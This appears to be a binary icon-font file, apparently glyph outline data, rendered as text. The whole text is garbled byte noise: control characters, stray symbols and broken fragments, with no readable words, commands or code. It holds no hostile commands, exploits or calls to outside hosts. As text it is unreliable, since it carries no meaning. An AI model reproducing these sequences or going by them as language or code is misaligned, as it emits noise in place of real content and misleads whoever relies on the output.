J4       A X |    2#!"&546367676'.6'<.'&67>4&*#"#"&63!22654*#".6767626325'&'&7>0&".5&7676;';1C#@=		73				*	 )-4	%#	5E&|
'!"			ZG	22!.;32H-"      &>#"&'>76MU,MU,!I}J=l&5V$7k4!bj4 ^K~J4-F13!T      " 4 E M  2"&46'&'"?2#!"&546337632=4&+"767676/&"264&"J44J4)###-T
BiJJiJ	4J44J$C##J#U-	JiJJi     3 I  2"#"'&=#".5<>7>754.#"&'&'&76532a_@5X"0
D(V
LE(I?		&	7k
  0N   G V _ c f      %777'77?'7&7>721?6?77?7?''&"76?6&2>77'/???>761?6'7?7''7#''767676'&76767?&'&#7'###"@/  x$!%
'%A$$%%6 	K
:(		;
( 9
&		' +"%	)&p"?qsvPSxx$&" (uoV\>
&	B<	&(Mzfh?B) +.N--+$'%' *(?BO@		
&     " 7 ? K  7>32#"&46;7'&>.?6732+&'.'&67&2"&44&#"326 	W?		4BF5		2ΑΑYZ~YZ~G	s$	"	+"	V%	ΑgZ~YZ~        2 G  2#!"&54637&676&+76.'.#"3!264&+&'>/O>V		A34+	3`!=#rJ$X!    	   V  ! , A M a n     7254#"#47632#7##"&5462654&#"733>32#"&'##74&#"32673>32#"&'##74&#"326747632#32653#"'&7454&#"733632#454&#"#*&	%,
''
Z&	'Q:&
	'Q	5! L&
#&M]'	#
'		L0_	%(
	FlO	%(
	Fl# 
	3		.		D     A / 7  %#'#7'#7&74767676&'&>67'?If.!$!e"E*;f!1+2I:rkrTWZ`6M&Of!$!nG
5%"37)*= 
!.SN,2.'7!9z5       * +  %%57.#>32632&#"'>32'.@~6D[5#B5#<<#."4)MM)1166ȀG8*2)1110o?II?DAT      0  2#!"&7>37/>16./'7'67"91"91_g	E:4)s)))4)w
qd0=@n   1 > f     7#*&'#"1&7&6256&"#&47>323226765&#&/&5"54;67636763:'#/'"'&=47>'.'.5&632#.#"#"#"&'&6;26766&&7>&7
),(V
2
$!!%4!! !	
#	
'		3CK7=F4/
	I4&
	"
e	"
	#h&)G2#1			M     # 4  2#!"&546354&+"#5#353;26'+".=46;2@(@@@@9@(@..#*('K#'(H     ? R g   "&4626'7'&'7'&/022130"''&1377676'6".#727&".'72Α=%	#
"3(9	





	'ΑΑ*-+,-	3H	-,--	-6<	Q6     ) 5 O  62'&"..7>7&67>'&6'"&=462746#"&=4632>NGI?>i`bUT
	
OR^			GE11E%"!%}CG=:e`
	TQ

]1		H		

G0++0G

!1! 2        s    ! ) 2 :  +73272+72+732+7%2+72+72+7"&GD~!%FIFGFFF(	FFyFFKYY1Y1Y61Y	1Y61Y        > `  7>232"'.2"'.76#"'&'&'&'&547>76 '&'.'&54'&'&'"76767>	
9C)	04
I!V"2+%v	
X	
 .:G S   & 6 G  %"'.'.567>7>3%327654'&#">'.#"?
";	- '48%(,
	--.$	CB
TM%
3%-L^
#5)22	
             # ' + / 3 7 ; ? C  3#75#73#75#73#75#3#75#73#75#73#75#3#75#73#75#73#xpxpxpxpxpxpxpxpppxppxpp(ppxppxpp(ppxppx        #  $.>.7>7>76.'6L)5!)58Gs8	K8/fYH+H5K;+35!*5!P~F@e$>]4m"C2.
)u;      ' /  6"&4767&#"&546326&&2"&4264&">L

$'7L5-'UI^^^&X

8*	6N"q߃^^^     M 
    %#"&462'""&54632654632L'"22E1T".0G12"#)5##--&1F11-#".."#5)#"21F1     q ) X h u    7#"&=46;;2>=4#67>76#'&77>76/6.'&.&677&'#"&=46;2'"=4;2#754;2+"+"&=46;21/	.*75/62
G2$q%;Q9,
7$>4R60 
&>(D(

(		}


				p(		,5+Y1+9%">,%)&".#@/	4C3

93$
(

(
(


			T       2 S ^ w   7+76;26'&++76;2";2#"&7>;#72+".>;+";2?6+"&?%2#7632+"&576&++"&?3+"&?>;2+76;2?6+" 	#%	


 (90#	:	$		IB
	/5!	_%(#4"c#!(	@bJ(        !'#31/#?#7#{p651cbost44<//.=&J2      %#"&4632.#"32>XA#_5gg5_#A6*>>*&R#&+Α+&#R>T>    * . y   &767676.'&'&76'&'&0&'&0&&'&1.'241676727"#00'671327>7213"767676'&'4.501&'&'&76767632767617'"#7&'0'"'"#.76&'.'&'&'4'.'&7:30236'45"37>'&'6%&'6&74&5&'&5&76767&'&'&'&7671676'&'6'&272637'67'676&'&67&'67.4>56'&'&"#>767&R	"8		
 %	"))

,H+#	)%
   	!0	
			

	
"	
	
  
		"
 	|
]);%

$X-.-			V
	15+*!$% 

		
!




	
	          . : J Z  3#5'.546762654&#"'3#5'.546762654.#"%!"3!2654&'2#!"&5463~44-.@
44.-@	D&&&&8	&'	:
'	:
   & && &    G L  767>454'.'37#73'##".5&#".7547;2254'326&O
	4"wZJ![!&RT&6
@$@&
	3+7	

#/

)$J      " '  53'3#%#512>'.'&#4>1#53WJ>>Bj<3P-7]<`6[v@8S__"JJ=@v[6`<]7-Q2<jBS_         % ]  $#".54>32"2"&4%&'!"&5463!24&/.+.67'"367./17672>7)
s(:=XI
	
 ,h+.#%(
"S+!
5390Z$KO$


	    
   2+4546264&"7\\Z5KKjKR[KjKK5!K         #53+32&+3250`ӽ__q ~ Td   
      - 1 5 9 =  %#535#5#5'#53#5'#"'.7!27&6?6%#53#53#5'#5^BBBBZBBWC)vn8	%+BBBB;==;;H<<<<d	.ciB!Z':
$;;;;;;H<<      / 2 : I  %5!6767>'.#"&76767>357$4&"23676&/&'YH0!"!H)("M["/'sZ&
	#0
162R@]R/"*4	.>>XA76bD!3$4=B         # ) 1 A I  7>77&'6>7&7&504576&'67&&7#!"&5463!24&"2Z(C2!@. KE.##DI'-(	2'4/0`@^^^3$,K+% 	71	$(4:".d %0`^^^         32+532654&+#rE> <_:V_dQk@F?[*P@&@a?@`7     $ ,      >2&&#&676.2#".54&2"&4'3237.670>636"'&5"5&?"1"&46323&''&676767.'547>3>367.>>2'%6.67>4.'&""232>7&'&7>9
			

	N5j!@
	--H b9"
$-	6*"(	'G	3	(#	H

l						h

	


]
	(	.%			O
1				U.
O           #2#>%13#67'.5!456WANdE#-3
TQ `AWGDuOqS	.%$/	k"/0ijY_  *   %##5#5354>32#"3KdQQ7$$

(Y]F(8O<     ' B  2'&*#"&5<&<.'&54>6&"/&#"?62327i`L
N'B\O
:
I
O
:
hT{-		Fl3Z?%;,t<,         #  ###5353533##5353##5!###@Z@ @@@Z       ) < K  73##576=4+53546324&#"#576=4/73''7'73733r]M;	&55*/E

!	n
*+
&&3"#
32.*
 "		(9-

-%
&&      Q  72+"=4;2+"=437010101010"01"101"1110101#0**1#*1"#"*#"#0"1*#"#*#0*&*1&#"#*1&#*#&'05&'4.#04'.5.14"5&'014&5&4&4&4&5'"&</0&1&54'4&'45"41&54&<&41&5<&<&504'41'041&5041<545&504145041<'45<547676767676767676320154+"#54+"#54+"#54#563232=4#"#"&#"5654""#54+"#54+"#54+"54667676.;ed<.*33+
	
(,,(4444}AOVSOA

H1ZH	LL	  	  (  >.'&7667"&54>32&760m5	%#01}~~:c;4/	
	M`5m	#%%1U
	19YY;c:!4  H l w   5'.54765&'.546765.547.=46723>54&'&765>54'&76"32642>54&"6ss
b5T1E9
4>N>dd>N>4
&8 iQ@i=


	J15tt51
-1d|hDc8Dr 
g>Eo\	
 	
\pE=g
@S-Vh|JrC0-

"	
     "  %2#"&54632&"327572&+5DDg]\[A?&nNN74&%34vR\]B?'NpN$"q50*Y        L  '.7>327#!"&5463!245#"'.#"7670703'&'4+76,*,!!!!P!v(&4
<4.!#O!C%!5 *-"O!!P!!"(*$:<, 
 
    c 0 ?  732327676564/.'47>32753.'&"67>'.+
5'*27"3L+	O;2,f%IE+D"(A"<-0	1'* #'Q;% 7@="EA1QU.8@          %3!!'S6Q!SQ     	    %'%	&54'77E<AA<ݡ  
(
"@@<   @ * Q  74654'.54>54'71"&5>54'#".5470>54/pO,+!(!C 	D8* >105,9)6CF-4,	 *
P  ~ & - O V d #0  67&'6?#64>4'&'.'&'4.77&"&576&'&'.77>2"'&'&637#"'&'.'&6?654&'&'.54746165>'&767674765&'.#'763263&67067>367632"22#66763267&#""67>76%2726767&'&#"&'&#667676;2&'67&76767>54/0&5&'&7676'&'&#"767&'&"'&'&#"45673&?67&'&'"276'&+"767#7>'12'"&/327"'&'&63=.%		n	%.? 	

(/((/	
#	

	(				1		t

	
& T  &	(=5	f>v
	F<)1
		+			


+			4

		e
%(--$#
			
			
			

#1		+
30+..+-3
!		!	*+9	0@@<+*	

	         7#".5/267#"527654&654#"0#"76746767476'&#"47>76'&#"#"7676'0#&327717670767464676767676767"./3276732767>54&#"'&7>7632'.7&54632?64'"=32%i
	
+-*		
	
ttD0=9
DF9P	P
	@					!	_P	
	
 


1@<)            2#!"&54637#.'#3Q#	%P`6-/0"g        !.'>72&#&'.=4>76&#"#"&#"0+".5&54>16&#"#"&#""3262324'&'.46546;23262'')N		n$p$(&s)k		1Fe

	::	
eF1			+		+	    $  >&''&'&'&67>./O: # &o"*>$!	
	THN(_-.R&`J7-#AM<g*:1*!<   6 A  %'#"&462675&5462#"'"'&46327&542654.#"+
'/?L6,#2"2e9)(s+_=>I06L2"2",8}()9     5 E Q  2"&4654""7676547676762+"&=4632>4.#"ede	r
X	/+<<++<<+y4Y33Y4Pqqpeee

	q"	4<++<<++<d4XiX4qq   =  %'.7>767>5&540'.7>767676763636~*& <,
43&#7Jc<
 	+Sl   L c s        27PZg  %!&'45.'&>767656.'&'&'.7>74.5&7>7676>367>7>72>5&626.5&6'6&'&'7676'&'.&>.'.'&'&7>36'4&'&6'>7'"76'&'465.'30'&'&'".4173&'"7<5&#>7<5"'&'&7>7&#&'342;&76'4.'.'636>&&>7&721&'&7&72>>7>.'.56'.'.#".7&6&7>7&'.'&'&36
Z
. 	
%g4		k*"	6#-6, 	
FC
	
e"*)=	
9$S
		#	
`$!%*!
8/V%	 %!
		
-?	(|0

	"^4	F$'?^2
	!%
			!)

	 ;
/		
 
& 	Z
)/
#
		D	'	
			$(
	
    " > [  .7>3267"1326'6&'&>76767>320676zX/lȯ/6#q?FpG3C		7a3	57K/+&F-)
!

."3	?6ȯ/lW8>
6>u".)KEP&/ 	
6	"	!         6  !!75##"'3262654&/.54>327&#"#"'@*"-"c'
	
!)"
		
"@c'  
	" 0
	+       B  2#!"&54635##"'3262654&/.54>327&#"#"'*"-"c'
	
!)"
		
"`'  
	" 0
	+        . D \ h u v  ?7'&'2#"&546%016"'&7'676'%&767''&>%2#"'&'&'67&54>2.7>3'654&'7@<1N/'	1;C3$)z/	
-?.'.r?1N/'1;C3)	;H^uHQJ "":';B		 +#'17D5		02J*(}1
,;,&18D5	$'<A+'i]uI];6Fw$44#!!0     2  !"&5463!24.#"326=7>/76&'&`

	<
!1(&, `.	*L
?:

@      7>&/#"&54>32SFK[>p( $'" )NGv 5ks6L**/%$*   	  S W ] r x }     "01*#0&1"1'&547450346257622031754506105350>1762001310%7?5'1&10&10'1&<15/?'575/?'75]a`P`axQQP".!/\/"u;P\T-."/)QQPXQ"/Ln5iooJ77.i77b.//\4C".511[K\[[V....[   % 6 R b x  %+"/+"=4;254;2#2+"=432+"&=4;272+32+32+"=437#!"&5463!24&"67>76! R-.0""/0""/>_`N;
.9"G,*G,*GG<G9<GW"/0""/06NN61J,'      u 	 * H  3'&5%3".=4&3#'546323#%53'57670&'&=325N,/''<*%8M*#&( -Mo+
'"
M/MM'+<.#MM(6F
4q      	   ''7'7@@ ?__? @ $ \\ % \ $ 77 $    @ 2 : B t  7>3>32"".''&/*.7#"4;2#"4;27&767>54&"&'&'&'.54>32v


		

(XXKhK	+J+B^. A		  @  
,1(3HH3(1,	
'
/*G*[@/
     $  4/5373#576=##576'H-m_'&'l33	2	6%%&	>>	      +   + O  #"&54632>'&'&'66&'.732+"+"=4+"=4;2=4;2rnSggS:&./.7&"* b1j((0((0gg);B^B/	)1-r+&U#* n0((0((            3#73#3#73#      !&=4&"&=4.&5,,*+$ ,,t        $  2"&454&"6754&"6324&"ΑΑ"!""/Α =          %3#"&'357#&5462#5'`lAR,Bq!lhhKΑK@$6A7iiP')gg)'П     6 G \ h  %&'7&"&'>='6267&"6267.'&47>330#'236"'&'.4"'6?7**h+&$:FF:$'

,d,

0>>,,>VcU?,,	#:
$
4&&J	

-F%$G-
 -EEEg:T&&U;g(5{    ; j  "/&7676?6=4/&6=4;2#"/&=4?67#"54;23254.'.54632+"'.#"	>
/200,b#7",(V0).&<%jjjkkk!D
@
	      @@      %  %#53%!#5#5#35337#3537#3533533    @  @@@    @@   `` ````      7G 	 D N W  3#'#73%'.'&5#7327676&+"&7676763#";2675&66'67676&'&-093-117)O%X
	
X!=	=%&i1	%
	 jjrs6&'	($ 	$#*h
     7 F N V ^ f n v ~        :4>'4>7"&.'."'&5476324&"264&"264&"24&"264&"264&"24&"264&"264&"24&"264&"264&"27&'&"62X
	
#549 BB (B^^B(XXX(>>	O	
	!(;O5005OBB11BSStSStSStSSD'  (  
   	     # / 9 A T  "&463235#737'2#547#'35##5##5##54#"35'5'57'#353#"&7'326ggΕ`o)F9{!8)EDEDD$	
8Α ?.
471M/:HJ0!!gV

	,    8 
 3 m  %#"'67>454676765&5654&.3276'&#"'4>;>3735467;23232+!".='#"&'6) &.^O8		,9

Vb
		&:/I^,5(<[:4%HR		K
		
        
   %#"&46323 lLLllLLl ZLllmm       " 5  #"&'&546322>54&#"#".672654'6r<R'(F S{VSS=>/mKPn/?@B-$9%%B&?WSn	+?*mTX~9Qf(PttP(fQ9,A$5A	;    ! , A I  %#'#//75'737573724&3>7"'&'&476762564&"C					
-	^88)8? 88Y~ZZ~Y	 !					.0_87*80?!87YZ~YY   	   F M l        7&'.'&'&"#67>3021'.'&70703'.'&167&'&'57>01&'&76"45."&'&74"'50>767>0&'01&"'&167>76'0'27:63231'&'.'&'6160&'&'61"Q
.		K"#8)'4		R?(&$
D"%#
F3*
%=C"'"
!	"	(	)!	$%\

		h744D	"//%	,
&0		



#	
			i	
   @  ( ;  %57>'&5676'54'&'.7>??;
	͗
e%'E=^6L;/= 		a
.PLI66	#8U
<97*l	#/6#	1       ( -  &'&67%6'76&7'&>7'6/##i
at	S	jZPQ\-!1(7	=	      % G V  %+3'&=46;26=32"32>54'"#"&'&7>;5#54>76#'2>4.#"	k5656 k(((	%$k38r		?.)&&f )0	167)
			f 	
         /  2#!"&5463&63265#"265265#"26=&6a'88''88'2	8

	8''88''8	

8	       U  2"&46#"#"3232#*#"&7676#*#"&767676&#*#"32327656323276ΑΑ	|	<	5
'	#.[A	Α		F5	B?F+E&     ! @ G Q [  #"&=46;2'&#"#'#35>32#"&'365654'&'&'&#"32767&#>33264&#"3264&#"@5KK55KK	$
	x		S


 #"(3\







 K55KK55KZ
F%%"'fx    	 % (  %'762#"/7/7676/&'&>&5(BDrBfE:0
]$#
0"-{&9b6'BsCf#P%"
!)%0@Sk>F    A # : E P [  '.'>'.676&/>6264&"0676?32'"&'46746."&'46,..,7=!L>(
(?K!>_4+,n"#<!#"#TPQP$ 
	#2>F:
WzWW=5),7q!          2"&4'616/&"37#"ΑΑeJ
"
ZUTKpΑw(cc)      x         # ' + / 3 7 ; ?  '77'7'7'7'777'?'7'?'/7'77?^6JN ."7Z %#	8	8<+!)#+.|G7-+3=5PCBY".',";##B1 "
&		/)@
H96`-2WB        @ D  57'.546 '0'.'&/?>54&'514"D66&/$:MO<)	&,$-5+7(&,>҃s|57"';6[<<ZX,
&1	:%*>4*9 0*
(
<           7!>'#.'6X-~wx2M)ps^`	5EE"9m<Me>`L-T?-Q        '#"&462264&".<Dbbb jKLiL&cccF7,LlLLl     M Q  %&/&/'"&'&>?''"&'&>?'&>767'&67676767'-^	4-5
-]
-	.-
^]// .
0

Z
/
///Z9 Z      7  7&>&7&'&'"'3>56'.54>32@<
w	C
!,z'/)7/("2 /8Bw	<	+)+&$
*!	"&
   =  %/&?6?6/&/&?67/&6/&?6,	-]TD:4-\_92+	*"JRA,V$H\7'*       2 >   "&462##"./567>324&#"'.'3264&#"32$3##3XC/m1!:aGB/5$&%, $- (3##3$>/CO!,
k'e/B54%
&&	"?,#-  A     %'"'<.'.'.01"'&76&*'&'&'&656&7>4645&>'"'.'&0#"'&'46'.'&54'&7>5&"5.6'.767>67>7>7>23>32307>302			+%
	>59	,	N			 	'*
	
$$+-

,	$*!

			     2  637??7'7''''/'7'?'8P
C]8Y9}Rsf|1.+l&
,ND&@'$J.3D6
{l&Jc&Tz8a	%   Ea   @ N Z a m t      %#"'232654'%.54632&#73254.54632#54#"#"&'73"&=3255#532+53254+5#532+53254+54+532;2=3+"75#532#54+3#;2=3+"7#53##7373#5#'#ApC#$e3.53.5e%"
e<			v$"'9'9		%?4'; 6J5+#1,"10EJ]

	
		
M777H+HH+?=>		?	U    /#?6'&'&67%6Dg2
f]"L0
i       (  2#!"&5463>'."354;2+"=#pGNhN^DD^|W84FF4D8         '575'7''7XeW"XVY@ -uKK:55/7           # ' + / 3 9 = A E I O S W ] c k o  "'3'#4=3#&'7#&'7#57#57#5#5#57#5#5673'5353'53'3#&'!5353&'!'673'53#4=3v0ggbnfgggggggggggggibgggggggg%gggS
ttVggg  F	#E#EhE

#

%JMgs%	R"   y - I n  '.'&?6?>76367'432'&5676322'&'&#&56/&'&74>764	5"

	%	%;
!&	7"





"		  	    	 }       7#&'&761'''''#'&'7&'7&'7&'7&'7&'7&545'767'67'67'67'67'67'6?27777774&"26"&462654'&5'654'&5654'&5&=#+&'#&'#.'1#.547&+'&54704&5232673275#327.'&,+-"%$"-+3378:;	7;	16(."".(61	;8	<:883JghhOYYY|
)

						

>k
" %$'&&&&'
#%"	
,'
84
A?GFHHFG?A
48',!hhg~ZZ~Zy

Zp@$

!eB       ; Q  >;2=4632+""&5&54.+"&=4>2;2"'4.5&6327632	c 	
!"de"!
	 c	$11		CC		a3

	
% 	


	 %

UUvv     3 Z e s    #'"'.5'7#.767>;6&'.'*?>72>'"5&'"&636&'"&63&&54&#"432'.'&'&'./&6762?6!"J%	
	
$	0d$#4U 
I,-)0)
(D@+(%*//E4:L
?

		

}\&

	4 " m0Nm([)/)#OO
#f 8!,4&	;CK"


			
       2  2#!"&54636'&6'&'&6323276L2C!	%.B@f@N		 *h8/>4VR     `  , U   7"&/.>;2326?>;2#!"&/&;2326?>;2#'2+"./&#"+"&?>3i7!$$!	8

h8!$%!	7

8
!%%!
8		`pKK	p
pKK	p
pKK	p
        B R a  2#"/7'&546'&'&'&'.'&>76'.'&'"#"07>2#!"&54632654'&"7m'(N7$2			

eB^0.]T#E'(56M0 &7o


	`]A@1.]A+%R      / :   ''#/'7''7/5?'77'7?3772>54&"''#/'7''7/5?'77'7?3/3267;?3?'	

w"/!!`/7'6''*$%7&66'5%$*$/>,%:			B!!/!(#&4(66'2#&)'$4'4.:&+>/#        @ J  2"&427&/7654'&54632&#"23767/"&63376>54'ΑΑE9k&$DC?P@W&G9<		R0"%<		D3<ΑgAl$+	GJ6 #;-_		f=92%+       + A Q  %'&'.547>''&'&'&7>7>576'&'67632%'76"&'".rG;14;3Y6TZ!	69`+#	?y2
1)W $	!/_0RmU-	2G)" 		1A<"Rx(@
	
         7#7&546;#5#";W@`KU@R7&2X&gMT 8;m    .   533p8R^4y@*  <D  / ; C \ g y  '&7670#1#"&#"#'.7672326732+#73264&#"&54?54#"#4>32#5#'26="#532?'3373u
nI%*#6&"n3$#5	"!
9#$BM%&a	J	ss    @    ' D P j |   +534?#"7#!"&5463!276'&5&7&'&#"&#3262327674&+3532>4.#"363232737##'##"#3267.M @
		
>




3Z
&			f$77Z
`
W	(	B/
	cQQc  l  ' . 8  71#"&767672#&'.'&763276&'6" 

_3+3U*'(%+}"
3>Acf5</x1.BAa-F29H7.^J'Gyd    ; ` k o      "$'  "/&7672?6=4/&6=4;2#"/&=4?67#"54;23254'&5432+"5&#"7#"&4624"7#&54+#5322&4+3%/&=4/&"&=4?6;2%/&=4?6=4641'"#"357057&=4/&/&=4?6721200#'"=0/&=4?6'3'<::9:::+7	%$=>O===%.$>%===Q=>==KL!B!!B	BB	B!!B!B	)
_,		,_$$d$$G#	^##G$$*##F$$6    - V  7>76'&'&767654&'&'&'.4&707676'&7>7676'.zZfVR%&-X+C;0-@(7!5
cRrcv`Y!FE'*#+
FF"U
8b:;8 0

/-;:.IX[x
}      < J R Z q y           &'&''.767&'.546767&'&67667>'676&'&&'&'67673276767&'&'&"67&'767&''6&'6767&1.67&'67&'&'76767#"'6'&'767>54&'&'2&"&462*47-;!!?	+52*			@"!;
!"0
'	

.
		
_"!4%


#*'z""2!##	',#

}&&),0$>*		,*	*?C-R'6
JF
A
aN3$
"! d	$10." 
!! &&        
    #'##73'#'%'7>MxNyT)A<
 QQ	88	       7I ) P      %+5352>54&5475&54654&+532#"'73254'&'&54>32&#"23#"=#";#"&54654#5654&546;7#"'73254'&'&54>32&#"'2#327#".5&634#"ej+"*		
+

K+	!*		 #_##-9
!			!
  
"	!*"	<"6	"	 
"
!		";"	D+!#
&%.B          %72'47>&'&'&767&'&''&7676767&'&'5#"&?#"'.7671'.7676727.'&67676'.'&767>'.24767>2630>201276705076767>563206767632266'0"676'&2>65417654'.)1%#


	

	
	<M	-# !9^Bw
;/%H
-HWhK"1:!
'$r 	
"p[	EW,
$
 	"( 		%>%$& )75"*)V	Z""#'+		
V
		:
			"-&j32
           337#'e[08ਨ6rrYY           ?''373&&&  R0n\\Jbb$BB   	   X(  	    0 D    7'##7'3'373537#5#53".46767624.'&"27>"&5475"4753#5##5353#5##535&/3#5##535'"475'"&5475'&5&5'43>?##7#'#077'373'k4>>>']>--)d


			
				
	W


P

&	&
	P

YAA?>@@Y**c+<``ttt%

		%D		
))
Q((+  yy     %'.'5#.='./&/'.?#+'&6?#'.5'"&'&'&'&4?673676720326?>7>;67>2?>026?67>?6766>?4567>72>?>7>3>?>6?67>'&%>'&>./.677>/&
			:	
		
	
0	
	


	

d
	
:		

 
		 "
6	
	$-5:/


-=(	%1%

m7
,
	"	     .  %#"&#"##"&5&54622>32326327%H2B"/"%P
C	YNw""   p      7#3#3#3#5B22e332~BLLL  
   L)  	    ? G     7573'7$"&546253#57'+'.45454>;654"2'#''.4547&'632&'54#"'&'#5.6?>767>36'7&54"2&&)6:::Y 	 k 	#A!	
:2)@& .`
xnnw		Z((T	 6^1J	
'9((    y    #'#!3'3Y>>Y.CoqD-ttX   	   <D    > R Y h s w  3#267#"&=6&#5375#"'53254.54632&#"#327#".5463234&#"'2#"'5362654&#"53""	
,&_,!SW  %"X.	
q$#,'	r,/&&?	
"*	)g;$
$^	(
*+		!$#..3+%((2
{B	!     v "  #"&'53254.54632&#"!090 l\"[TH7 090 iXLBDJ1%;(KO.#8%KV$       #  327#".547>772#".546)3&R$Y;	:F${%%rYW@<O~44'X8,=E   r . [ q   9  7632367>76"+"#&#&'&'.'4'231'&'1#"#&50=46;230>76700137654'&'&723230#"#"'4'"'&'&767621450454&'&5<547676362<=4#"&'"#"76760"&747676'4'&'&""+"5&1476767632'00?4656;2'"'&5<:232767>76'&'&5&3232=B  ((#_!+9%&)'"U
		"
+!		,	
#	
		
##$	{	3I)**(
j		



	"	udZY
	
IH5   @  ( 8 r  7  70=476'"'&.7676232#%#!"&5463!2#0&#"376767674#0"1"45.'&'&#"#"6761323250=4'&'&'"&+"176760"1&'&'323254=01767656'&'"'+01054&5&+"&'&'&'&'&230;21676767676&7&'&'&32376213676767674}	" $
		'~%
					AH((926D # /$.

$#

`,	Y2eT
<j	Y	T<
	0

  8    %'7'8]]\          2#!"&546337#53'#35####Qo>BvX`###G#Wttr            2#!"&54635#35#75#75#		l		(xxxxx	l			((P((P((      2  7%#!"&5463!24'&'.+";2767>5__`*GrGr66`;,<,         !!5!3535@fYZ@YYZ       x  / [ n z   +"=4;2+"&=6/"+"54;2632##"'&=463276/&'&76322'&"'2#"'+"=4>2654.#"&2"&4))`
))$	$!5 &!+:.?@-!)# $$$"#	{Q#"
-
i?[?Y+	%%3%    i   . ? f {    "264%2".54>6<.*#:>732"#73262#67>'.*##%64.*#:>732""#WVVV);GR:
x!G 
	%			
%
% x!G 	
	X[z[[zk-M\M--M.,$ 	Ge6,-	"`?	Gd6,       '  #"#"&462&'6.#"3762"&4:
"#eˏ	*?"B]+I+%R::R:

ˏf3."A0]A+I+:R::R   @ ! - 9 E Q ] i  +""'.+"&=46;2>354+";2=4+";2=4+";254+";2=4+";2=4+";2ZI>=2Z$88$#(.##.@@v@@   ' = O h v    %'&767>;0?'.67>'07>&'&766'&'"6766'&'&7672"67>/07'&76>?'&'67'&767Of9(
)%)RM`	0%
Rw %	=eC
!/0'G22+!).46EF$&S4(	YK$	
B	
	
(27@" 

G2##<	
-
	Z
		       G  1&7>01'&".54327>3270>7>"$&',5+:3'<#5	)bBU!1&A5f7
"2B
	7 	`	fX1!"4(         -  %##5#546;2'42"72#"&546"32>54&;M
ffEE#idfjVuwT4]:vfxxf
9##"hkge-zQSx2^;Uv        ) B  2#"&54632>7'#5"'774'&7">753&654'&idfVxS/"]')""=j@_$" #	0-;;ikfe$Sw)&&"
]+''"9V:<       1 3 M  2#"&5462>741'#327#"&'#53<5#53'7#7654&#"67632&#"3i0>J&fj!<%"
[8
%-GAxCNvUl>Q&:"!Fi+N<,fe=#82.50		#Sx<Uv]$	*0
	       ! % :  2#"&54627'##5#535'#53'7'7654&#"'3733idfjlDR@=@@:	x7@evU :*QB(+B?&hkfe=c$$88''8 Sx3-Uv$3V
`t          2#"&546"32>54&#5#5idfjVuwT4]:v	hkge-zQSx2^;Uv++P**     # 7  2"&42>7&'327#".547'703654&#"632&ΑΑ%E5$!.&'O3XwS4YJ!D. (0Α/` ,4##0`L0Sw2*!4)          ( 4 ;  2#"&5462>54&#"2+5254.+'2+#526&+idfj4]:vUVuwFF56"	^2
"?hkge=2^;UvzQSxl'Ol.,C)      , 3 7 ;  2#"&546"32>54&#".''574575#5'?'5idfjVuwT4]:vM :D	@?;Cqq(%'Y-hkge-zQSx2^;UvF@F>>f,.-/:5++         <  2#"&546"32>54&>32#".'332654.#"3'idfjVuwT4]:v$#5<*+'>4$211hkge-zQSx2^;Uv*++!;(.$.(+",11         s  2#"&546"32>54&2742763276;#&/#"'4'#"'4'"5'#"'0&5'#"/+53767463274>276idfjVuwT4]:vQ	
:3	
				
4-
hkge-zQSx2^;Uv5l<

P@
	a,	 \

LH		W_WT

Y9		LbE\Pb
      _ s  2#"&546"32>54&3#&/"/"5'"/"/"/+53767627427627>7427624+54"#";2=idfjVuwT4]:v;33+Fhkge-zQSx2^;Uv,S@:HQIFN+
I	Z

9PCT^-
E3
]	       4 < @  2#"&546"32>54&2+"&=#".=4732354735##3idfjVuwT4]:v6)7lllhkge-zQSx2^;Uv66se(C      ( 1 9  2#"&546"32>54&2".4>"76'&3254idfjVuwT4]:vr:*		*:*		G,6%=	,hkge-zQSx2^;Uv<+/6/++/6/+Yd	.iY       ?A 9 A M a f  3#7'#&5#"&547#"'#6=3632672354#"#632'3264&"75"326%673#"&54632'.^"c$=) ('  &.
C)!"C0%7--/d)+!*)*)$+"--6t
B		
P($	!!+m00)!$*&&      O `    $2"&47'.7654'"1'&7'&'54>767'.?4763226?6'67'&3&545'7654/&#"32?32?322"&4

$.<,.

	(
	7R"#	l

5:0'
&,!K<!"70$
]

%`t      4 `  '2>73'.45454>?62<.'&'.3547635476
A)fM
316
./KDD/.H2,
%-7..-
 4r??$r      E  2 E K  %#'#5.5463253:654&#"22>54.*#27&#EXCp(!%cfxON-E8
		
Ft`[	
	R9rK	>>lGQr4ZC'A%#HBCN]      < _ i  !!%5"'&'>54&#"'22#23235".4=372><1#3#"=463274.#""'5632@<		$

d

%@r!m.*
	
 -E#       # [ g  7'&'&7>'&'47>76327'&5<5&'&"#&=76767676'&76760'.672763$#(f42,E%? 	d(\N;	,:m4!Q!e"(!!%$,y.	"s7%G.+'
1+1,i7 *%        c  2"&4264&"2"&4264&"%'''"'7&'7&'7&'7&47'67'67'67'627777'ΑΑƍƍ|||J=7$$6>JMRSNJ=7$$7=JNSRΑƍ?|||'$7=JNSSNJ>7$$6>JMRRMJ>6#   '      '?/?557`$##T))33d#$$T33),,+y--::"++,::-        D L R X ^ d j  "&462"264'./'6373#'#5&''7&'#5367'76?#.'%#63&%3'6&'756_ΑΑ8-18.%-D ;;	RR	;; ;;	RR	;;"
""%.8--8.8ΑNr""+R	;;;;	RR;; ;;	4-8 
%.8p.%-88-%L""         2 J s {     3&=4'&'&">7#&#6726&'676&'676727""'&'.232.#"'.#"&'5>326="264&2"&46"2642327367632&#"'5.'"&'6
&	O	&)=!(&?
:(!1	&(:
?&(!=""7,
* *
xP5[=
y!'))&@@L""3


++
       r  %>7#./.>?.>?677'7'=57&'>&'>&'>4'

#,F**E-"

	
&

		"????,
	J	(&#+!''!

'5,* 5)#		0[>060+!<-'D$0		7...7		0 U*1P-1-713D#&'544J  {  &76567<'45&'&54545&567>767>&#0'&5&'&7674'&'&'&676567>75'&'&/7<5/.454'&'"'&'&?'&'&'414767676367654'45&5&'&'&'&'&'&'&'&/5'7>32674&'&762763676?32?#"367>7676767674676761#"7&54'&54'&5476'.'4'4'&54'&43607&'.66'&'67&	

	

			I	W	D)!
I&+%&#%@	
		
		8	'						
